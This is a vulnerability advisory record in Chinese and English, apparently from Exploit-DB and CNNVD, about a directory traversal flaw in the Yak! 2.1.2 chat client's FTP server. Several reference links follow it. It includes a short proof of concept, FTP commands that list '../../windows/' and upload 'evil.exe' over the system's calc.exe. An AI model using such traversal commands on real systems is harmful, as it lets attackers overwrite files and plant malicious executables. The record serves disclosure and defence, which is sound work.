https://www.exploit-db.com/exploits/24684
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200412-677

Yak!是一款聊天程序并可交换文件。Yak!内置的FTP服务程序对上传功能处理不正确，远程攻击者可以利用这个漏洞进行目录遍历攻击。内置的FTP服务程序对用户提交的命令缺少充分过滤，提交包含多个’../’字符的数据，可绕过目录限制，利用上传功能可以覆盖系统任意文件，造成拒绝服务。

source: http://www.securityfocus.com/bid/11433/info

Yak! Chat Client FTP server is reported prone to a remote directory traversal vulnerability. This issue presents itself due to insufficient sanitization of user-supplied data.

This issue can ultimately allow an attacker to compromise a computer by placing malicious files on the system and executing these files through other means.

Yak! 2.1.2 and prior versions are reported vulnerable to this issue.

dir /
dir ../../windows/

put
evil.exe
../../windows/calc.exe

来源:BID
名称:11433
链接:http://www.securityfocus.com/bid/11433
来源:BUGTRAQ
名称:20041015DirectorytraversalinYak!2.1.2
链接:http://www.securityfocus.com/archive/1/378533
来源:aluigi.altervista.org
链接:http://aluigi.altervista.org/adv/yak-adv.txt
来源:XF
名称:yak-directory-traversal(17740)
链接:http://xforce.iss.net/xforce/xfdb/17740
来源:OSVDB
名称:10763
链接:http://www.osvdb.org/10763
来源:SECTRACK
名称:1011708
链接:http://securitytracker.com/id?1011708
来源:SECUNIA
名称:12849
链接:http://secunia.com/advisories/12849
来源:FULLDISC
名称:20041015DirectorytraversalinYak!2.1.2
链接:http://marc.theaimsgroup.com/?l=full-disclosure&m;=109788315103778&w;=2
来源：NSFOCUS
名称：7029
链接：http://www.nsfocus.net/vulndb/7029